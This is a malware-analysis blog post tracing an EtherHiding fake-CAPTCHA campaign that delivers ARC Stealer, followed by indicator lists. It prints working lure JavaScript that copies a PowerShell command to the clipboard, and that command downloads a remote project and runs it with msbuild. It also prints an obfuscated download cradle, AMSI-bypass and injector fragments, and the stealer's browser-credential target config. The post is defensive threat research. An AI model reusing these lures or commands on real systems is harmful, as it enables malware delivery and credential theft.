ARC Stealer Hiding in the Ether

By: Jason Reaves

Etherhiding[1] is a technique being employed by hiding part of the infection chain in the blockchain[2] using smart contracts, the data that can be stored inside of the smart contract can be just about anything. The content of the smart contract is hosted on the blockchain which makes it significantly harder to take content down.

While tracking some etherhiding campaigns I came across this transaction:

https://testnet.bscscan.com/tx/0x021e798752ca28e32452a5f332aa58c2765609d4714e2a1a672cf587da7b921a

This data decodes into javascript that will build out the fake captcha page designed to get the user to execute a command:

  <main class="verify-main">
<p>
To better prove you are not a robot, please:
</p>
<ol>
<li>
Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.
</li>

<li>
In the verification window, press <b>Ctrl</b> + <b>V</b>.
</li>

<li>
Press <b>Enter</b> on your keyboard to finish.
</li>
</ol>
<p>
You will observe and agree:
<br>
<code>
&#9989; "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id">146820</span>"
</code>
</p>

Inside will also be obfuscatorDotIO obfuscated javascript, after deobfuscating[4] it will have the command to be ran by the user.

Deobfuscated javascript:

(function (_0x2dc32a, _0x524a97) {
const _0x3ab038 = _0x2dc32a();
while (true) {
try {
const _0x58e008 = -parseInt(_0x2b0f(148, 0x209)) / 0x1 * (-parseInt(_0x2b0f(177, 0x21c)) / 0x2) + parseInt(_0x2b0f(166, 0x1f4)) / 0x3 * (parseInt(_0x2b0f(154, 0x204)) / 0x4) + -parseInt(_0x2b0f(173, 0x23e)) / 0x5 * (parseInt(_0x2b0f(131, 0x1f1)) / 0x6) + -parseInt(_0x2b0f(145, 0x209)) / 0x7 * (-parseInt(_0x2b0f(117, 0x1fd)) / 0x8) + -parseInt(_0x2b0f(119, 0x1d6)) / 0x9 + parseInt(_0x2b0f(121, 0x1d3)) / 0xa + -parseInt(_0x2b0f(142, 0x20d)) / 0xb * (parseInt(_0x2b0f(143, 0x21b)) / 0xc);
if (_0x58e008 === _0x524a97) {
break;
} else {
_0x3ab038.push(_0x3ab038.shift());
}
} catch (_0x1f77bd) {
_0x3ab038.push(_0x3ab038.shift());
}
}
})(_0xfe04, 0xc2c4e);
function runClickedCheckboxEffects() {
hideCaptchaCheckbox();
setTimeout(function () {
showCaptchaLoading();
}, 0x1f4);
setTimeout(function () {
showVerifyWindow();
}, 0x384);
}
function showCaptchaLoading() {
checkboxBtnSpinner.style.setProperty("visibility", "visible", "important");
checkboxBtnSpinner.style.setProperty('opacity', '1', 'important');
}
function hideCaptchaLoading() {
checkboxBtnSpinner.style.setProperty("visibility", "hidden", "important");
checkboxBtnSpinner.style.setProperty("opacity", '0', "important");
}
function showCaptchaCheckbox() {
checkboxBtn.style.setProperty('width', "100%", "important");
checkboxBtn.style.setProperty("height", "100%", "important");
checkboxBtn.style.setProperty("border-radius", "2px", "important");
checkboxBtn.style.setProperty('margin', "21px 0 0 12px", "important");
checkboxBtn.style.setProperty("opacity", '1', "important");
}
function hideCaptchaCheckbox() {
checkboxBtn.style.setProperty('width', '4px', "important");
checkboxBtn.style.setProperty("height", "4px", "important");
checkboxBtn.style.setProperty("border-radius", "50%", "important");
checkboxBtn.style.setProperty("margin-left", "25px", "important");
checkboxBtn.style.setProperty("margin-top", "33px", "important");
checkboxBtn.style.setProperty("opacity", '0', "important");
}
function _0xfe04() {
const _0x5a4c9f = ['offsetLeft', 'includes', "21px 0 0 12px", '26398OiJoZh', 'visible', 'composedPath', 'none', 'remove', 'opacity', 'execCommand', 'addEventListener', 'random', 'click', '872RXFdql', 'sort', '2691063zQEDuW', '4px', '3233610GmuUcS', 'offsetTop', 'disabled', 'important', 'margin-left', '100%', 'height', 'body', 'textContent', 'checkbox-window', '1766406gSJSmF', 'querySelector', 'verification-id', 'floor', 'getElementById', 'replaceAll', 'append', 'push', 'removeChild', 'style', '#cjscss', '11nQVtBL', '3019560AfPCHP', 'visibility', '32445vvoshh', 'innerWidth', 'slice', '62VUarez', 'checkbox', '50%', 'setProperty', '5px', 'left', '328hvJyIa', 'border-radius', '33px', '2px', 'margin-top', 'toString', 'hidden', '25px', 'value', 'verify-window', 'top', 'YmFscC5ydW4=', '42933zuFRmR', 'length', 'copy', 'display', 'preventDefault', "powershell -w h -c \"$p=$env:TEMP+'\\t.csproj';irm https://cv.jyla.ru/t.csproj -o $p;&($env:SystemRoot+'\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe') $p\"", 'block', '25WSPzyG'];
_0xfe04 = function () {
return _0x5a4c9f;
};
return _0xfe04();
}
function _0xf1425a(_0x3ebae3, _0x344898) {
return _0x2b0f(_0x344898 + 0x32d, _0x3ebae3);
}
function _0x2b0f(_0x1a266b, _0x278adc) {
const _0xfe0490 = _0xfe04();
_0x2b0f = function (_0x2b0f34, _0x1d0f78) {
_0x2b0f34 = _0x2b0f34 - 0x72;
let _0x2ca70f = _0xfe0490[_0x2b0f34];
return _0x2ca70f;
};
return _0x2b0f(_0x1a266b, _0x278adc);
}
function closeverifywindow() {
verifywindow.style.setProperty("display", 'none', "important");
verifywindow.style.setProperty("visibility", "hidden", 'important');
verifywindow.style.setProperty("opacity", '0', "important");
showCaptchaCheckbox();
hideCaptchaLoading();
checkboxBtn.disabled = false;
}
function generateRandomNumber() {
return Math.floor(0x15f90 * Math.random() + 0x2710).toString();
}
function showVerifyWindow() {
var _0x88079d = setInterval(() => {}, 0x0);
for (let _0x5ac813 = 0x0; _0x5ac813 <= _0x88079d; _0x5ac813++) {
clearInterval(_0x5ac813);
}
verifywindow.style.setProperty("display", "block", 'important');
verifywindow.style.setProperty('visibility', "visible", "important");
verifywindow.style.setProperty("opacity", '1', "important");
verifywindow.style.setProperty("top", checkboxWindow.offsetTop - 0x50 + 'px', "important");
verifywindow.style.setProperty("left", checkboxWindow.offsetLeft + 0x36 + 'px', "important");
if (verifywindow.offsetTop < 0x5) {
verifywindow.style.setProperty("top", "5px", "important");
}
if (verifywindow.offsetLeft + verifywindow.offsetWidth > window.innerWidth - 0xa) {
verifywindow.style.setProperty("left", checkboxWindow.offsetLeft - 0x8 + 'px', "important");
}
var _0x259457 = Math.floor(0x15f90 * Math.random() + 0x2710).toString();
document.getElementById("verification-id").textContent = _0x259457;
stageClipboard(commandToRun, _0x259457);
}
function isverifywindowVisible() {
return "none" !== verifywindow.style.display && '' !== verifywindow.style.display;
}
function setClipboardCopyData(_0x157e98) {
let _0xfd707 = document.createElement('textarea');
_0xfd707.value = _0x157e98;
document.body.append(_0xfd707);
_0xfd707.select();
document.execCommand("copy");
document.body.removeChild(_0xfd707);
}
function insertQuotesFixed(_0x37df09, _0x39d724 = 0x6) {
let _0x207c5d = [];
for (let _0x30c6de = 0x0; _0x30c6de < _0x39d724; _0x30c6de++) {
let _0x5d6c92;
do {
_0x5d6c92 = Math.floor(Math.random() * (_0x37df09.length + 0x1));
} while (_0x207c5d.includes(_0x5d6c92));
_0x207c5d.push(_0x5d6c92);
}
_0x207c5d.sort((_0x275829, _0x14f81b) => _0x14f81b - _0x275829);
for (let _0x25b497 of _0x207c5d) _0x37df09 = _0x37df09.slice(0x0, _0x25b497) + "\"" + _0x37df09.slice(_0x25b497);
return _0x37df09.replaceAll('-', '');
}
function stageClipboard(_0x57f9b7, _0x557071) {
setClipboardCopyData(_0x57f9b7);
var _0x279865 = setInterval(() => {
isGoalReached(usr_id).then(_0x51a46f => {
if (_0x51a46f) {
document.querySelector('.cjs-container').remove();
document.querySelector("#cjscss").remove();
clearInterval(_0x279865);
}
});
}, 0x3e8);
}
function addCaptchaListeners() {
if (checkboxBtn) {
document.addEventListener("click", function (_0x566e7b) {
if (!_0x566e7b.composedPath().includes(verifywindow) && "none" !== verifywindow.style.display && '' !== verifywindow.style.display) {
closeverifywindow();
}
});
checkboxBtn.addEventListener("click", function (_0x2d10e2) {
_0x2d10e2.preventDefault();
checkboxBtn.disabled = true;
runClickedCheckboxEffects();
});
}
}
commandToRun = "powershell -w h -c \"$p=$env:TEMP+'\\t.csproj';irm https://cv.jyla[.ru/t.csproj -o $p;&($env:SystemRoot+'\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe') $p\"";
checkboxWindow = document.getElementById("checkbox-window");
checkboxBtn = document.getElementById("checkbox");
checkboxBtnSpinner = document.getElementById('spinner');
verifywindow = document.getElementById("verify-window");
addCaptchaListeners();

In this case downloading and compiling .NET source code, it is obfuscated source code that appears to run a powershell command:

  <QkRDYyTv>AC4ATgBhAG0AZQApAC4</QkRDYyTv>
<EdvPpmta>ASQBuAHYAbwBrAGUAKAApAH0AKQApAH0AKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApAA==</EdvPpmta>
</PropertyGroup>

<PropertyGroup>

<ZByqXLCG>pow</ZByqXLCG>
<HxdLAurh>ershell</HxdLAurh>
<xvYhxVip>.exe</xvYhxVip>
<IwdyHJbw>-w</IwdyHJbw>

Deobfuscating shows the URL to the next piece in the chain:

b"SV 2PX 'https://tt.cbrw[.ru/vb7to8.psd';((Get-Item Variable:\\*ecu*t).Value.InvokeCommand|ForEach{(Get-Variable _ -Val).(((Get-Item Variable:\\*ecu*t).Value.InvokeCommand.PsObject.Methods|Where{$_.Name-clike'N*S*B*'}).Name)((((Variable 2PX).Value|%{(.(Get-Item Variable:\\*ecu*t).Value.InvokeCommand.(((Get-Item Variable:\\*ecu*t).Value.InvokeCommand|Member|Where{$_.Name-clike'*t*om*d'}).Name)((Get-Item Variable:\\*ecu*t).Value.InvokeCommand.(((Get-Item Variable:\\*ecu*t).Value.InvokeCommand.PsObject.Methods|Where{$_.Name-clike'G*om*e'}).Name)('I*v*W*R*t',1,1),[System.Management.Automation.CommandTypes]::Cmdlet) $_)})|%{$_.(((Get-Variable _ -Val)|Member)[4].Name).Invoke()}))}).InvokeReturnAsIs()"

The downloaded vb7to8.psd fileis obfuscated powershell with an onboard XOR encoded script onboard, after decoding we are left with another obfuscated powershell layer:

(  '``````'  |%  {  ${$-[}  =  +  $()}{  ${])}=  ${$-[}}{  ${;]~}=  ++  ${$-[}  }  {${%[}=  ++${$-[}}{  ${``}=++${$-[}  }{  ${+);}=  ++${$-[}}{${ !'}  =  ++${$-[}}  {  ${.(*}=++  ${$-[}  }  {${#@'}=++  ${$-[}  }  {${+~*}  =++  ${$-[}}  {  ${=)}=++  ${$-[}  }  {${#}="["  +  "$(@{  }  )  "[${#@'}  ]+"$(@{})"["${;]~}"+"${=)}"]  +"$(  @{})  "[  "${%[}"+"${])}"]  +"$?  "[${;]~}]+  "]"  }  {${$-[}="".("$(  @{  })"[  "${;]~}"  +  "${+);}"]+  "$(@{}  )"["${;]~}"+"${.(*}"  ]+  "$(@{}  )"[${])}]+"$(  @{  })  "[${+);}]+  "$?"[${;

Decoding this powershell is relatively straight forward, you need to find the ‘.’ used as a function call near the end:

${#}${;]~}${])}  |${$-[}  "  |  .${$-[}

Change the function to:

${#}${;]~}${])}  |${$-[}  "  |  Write-Output

This should dump out the next layer after running, in this case a char by char rebuild of the deobfuscated script leading to documented powershell code:

# =====================================================================
# Early Bird + Context Hijack Injector x86/x64 PowerShell
# =====================================================================

Remove-Item Function:\Write-Host -ErrorAction SilentlyContinue
function Write-Host { }

$ErrorActionPreference = 'SilentlyContinue'
$WarningPreference = 'SilentlyContinue'
$VerbosePreference = 'SilentlyContinue'
$DebugPreference = 'SilentlyContinue'
$InformationPreference = 'SilentlyContinue'
$ProgressPreference = 'SilentlyContinue'

function Invoke-NullAMSI {

The powershell script contains an onboard section labeled conf which shows the shellcode blob that will be downloaded and injected:

# === Conf ===
$ExePath = 'C:\Windows\SysWOW64\OpenWith.exe'
$Url = 'https://cv.cbrw[.ru/init1.bin'

$IsHost64 = [Environment]::Is64BitProcess
if ($IsHost64) { $HostArch = 'x64' } else { $HostArch = 'x86' }
#Write-Verbose "[*] PowerShell is $HostArch"

If we take a quick look at the start we can see a function starting:

0000000: 5531 c0b9 0500 0000 89e5 5753 8d7d e483  U1........WS.}..
00000010: ec40 f3ab 8d7d d4b9 0400 0000 f3ab c704 .@...}..........
00000020: 240c 9c72 03e8 e407 0000 8945 f485 c00f $..r.......E....
00000030: 84c1 0000 00c7 4424 0868 1084 528d 5dd4 ......D$.h..R.].

Doing a quick check on vt:

content:{5531 c0b9 0500 0000 89e5 5753 8d7d e483}

We see lots of samples of various sizes, so this is potentially part of a opensource tool.

The shellcode will resolve a few functions using hardcoded hashes and then will get the address of a structure of data:

This table begins a parsing of data blobs prepended by the layer2 shellcode which is easier to see here:

l = struct.unpack_from('<I', t)[0]
t = t[4:l+4]
sc = t[0x15:0x1cb2+0x15]
t = t[0x1cb2+0x15:]
l = struct.unpack_from('<I', t)[0]
blobs = []
while l < len(t) and len(t) > 4:
blob = t[4:l+4]
blobs.append((blob,l))
t = t[4+l:]
if len(t) > 0:
l = struct.unpack_from('<I', t)[0]
else:
l = 0

The blobs end up being XOR keys and import information which will be used to fix up the layer2 shellcode:

Eventually leading to the parsing of the remaining data which ends up being two blobs of encoded data one of which will be the payload binary. The imports involve RtlDecompressBuffer for LZNT decompress but it also appears that the blobs are first XOR decoded:

After XOR decoding it will call RtlDecompressBuffer to LZNT decompress the data, we can recreate this in python to dump the files:

import sys
import struct
import lznt

data = open(sys.argv[1], 'rb').read()

#try to find start of table
idx = data.find(b'\xe8\x00\x00\x00\x00\x58\x83')
idx = idx + 5
val = data[idx+3]
idx += val
print(hex(idx))

t = data[idx:]

l = struct.unpack_from('<I', t)[0]
exe_s = t[l+4:]
t = t[4:l+4]
sc = t[0x15:0x1cb2+0x15]
t = t[0x1cb2+0x15:]
l = struct.unpack_from('<I', t)[0]
blobs = []
while l < len(t) and len(t) > 4:
blob = t[4:l+4]
blobs.append((blob,l))
t = t[4+l:]
if len(t) > 0:
l = struct.unpack_from('<I', t)[0]
else:
l = 0


(total_sz, flags, uncomp_sz, data_sz) = struct.unpack_from('<IIII', exe_s)

exe_blob = bytearray(exe_s[16:16+data_sz])
key_s = exe_s[16+data_sz:]
key_l = struct.unpack_from('<I', key_s)[0]
key = bytearray(key_s[4:4+key_l])

for i in range(len(exe_blob)):
exe_blob[i] ^= key[i%len(key)]


tt = lznt.decompress(exe_blob)
open(sys.argv[1]+'.decoded', 'wb').write(tt)

Using this plus a pivotable file in VT from the shellcode we were able to determine that this was built using Clemantis[3].

The decoded binary in this instance is Arc Stealer, which comes with a hardcoded c2 config onboard:

This data will be used to construct the initial request for the stealer config data from the c2. Of note is the use of the IP and the stomping of the host header. In traffic, you don’t see a DNS request.

The response to this data is a base64 blob:

Decoding is just a XOR with a hardcoded string:

>> key = bytearray(b'852149723\x00')
>>> test = bytearray(base64.b64decode(data))
>>> for i in range(len(test)):
... test[i] ^= key[i%len(key)]
...
>>> test
bytearray(b'{"b":[{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome SxS\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome Beta\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome Dev\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome Unstable\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome Canary\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c20","p":"\\\\Local\\\\Epic Privacy Browser\\\\User Data","t":1,"pn":"epic.exe"},{"n":"b\\\\c15","p":"\\\\Local\\\\Vivaldi\\\\User Data","t":1,"pn":"vivaldi.exe"},{"n":"b\\\\c26","p":"\\\\Local\\\\360Browser\\\\Browser\\\\U

This json data will be parsed in the binary using hardcoded strings as keys:

This aligns with the keys from the data also:

dict_keys(['b', 'exW', 'exP', 'exG', 'sM', 'sW', 'sO', 'g', 'ld', 'str'])

Potential meanings:

exW - wallet extensions
exP - password extensions
exG - enumerates files under extension folders
sM - messenger app directories
sW - wallet app directories
sO - others? - directories for ftp apps, sql, filezilla, vpn creds
g - file hunting regexs
ld - loads other files

The loads noticed recently have been URIs such as /shark.bin and /sh.ext.bin.

IOCs

Network:
23.27.20[.143
cv.jyla[.ru
tt.cbrw[.ru
cv.cbrw[.ru

h1.glitzyentire[.top
h1.coldwalk[.top
h1.suavefrisk[.bet
h1.grufflyslick[.bet
h4.sopy[.press

Folders:
AppData\Local\Temp\Login Data
AppData\Local\Temp\Cookies
AppData\Local\Temp\Web Data


File writes hardcoded name:
hjksf[a-z].exe
ex:
hjksfa.exe
hjksfe.exe
hjksfi.exe

Traffic for posts

/Up/
/Up/b
/Up/p
/Up/g
/shark.bin
/sh.ext.bin

Arc Stealer C2s from pivoting:

ui.xumu[.press
cakesank[.top
winthigh[.top
mcrsftuptade[.pro
overplanteasiest[.top
badnesspandemic[.shop
aluminumsternness[.shop
detailpummel[.shop
dervinko[.biz
frfk[.xyz
iicc[.fun
kwqislxk[.xyz
veronicabal[.com
frck[.xyz
frdk[.xyz
frgk[.xyz
trxh[.xyz
frjk[.xyz
trxq[.xyz
frpk[.xyz
fastsecurityup[.com
oxygenamicably[.shop
zut2[.shop
ras2[.shop
effectsstardust[.shop
mm.underarmpresumingsubscript[.shop
verticaleatery[.store
smkijgdnkso3d[.net
connect-cdn-api.tastinessrebaterunny[.shop
rivalillicitlytransfer[.shop
pecanclusteredjalapeno[.shop
strangerundergradretread[.shop
moonlikeleversembattled[.shop
synopsesdustwildland[.shop
uu.underarmpresumingsubscript[.shop
bolstermonoxideseventeen[.shop
unrobedunhingepyramid[.shop
2429568886dbdaba3fa935d7ae112525.stunnedfragiledioxide[.shop
cog2[.xyz
downloadnew[.shop
geotravelsgi[.xyz
dd-d[.xyz
pcvvf[.xyz
pcvcf[.xyz
padrf[.xyz
gameschekt[.com
llzl[.xyz
kwqislxk[.xyz
updatel2[.com
llxl.xyz
tourbigs.com
ctze.xyz
nafiskaran.com
veronicabal.com
lldl.xyz
llml.xyz
llal.xyz
fruk.xyz
frtk.xyz
frsk.xyz
frpk.xyz
frjk.xyz
frgk.xyz
frfk.xyz
frcf.xyz
trxu.xyz

References

1: https://blog.sekoia.io/clearfakes-new-widespread-variant-increased-web3-exploitation-for-malware-delivery/

2: https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16

3: https://github.com/CBLabresearch/Clematis

4: https://deobfuscator.io/

ARC Stealer Hiding in the Ether was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Introduction to Malware Binary Triage (IMBT) Course

Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor.

Enroll Now and Save 10%: Coupon Code MWNEWS10

Note: Affiliate link – your enrollment helps support this platform at no extra cost to you.

Article Link: ARC Stealer Hiding in the Ether. By: Jason Reaves | by Jason Reaves | Walmart Global Tech Blog | May, 2025 | Medium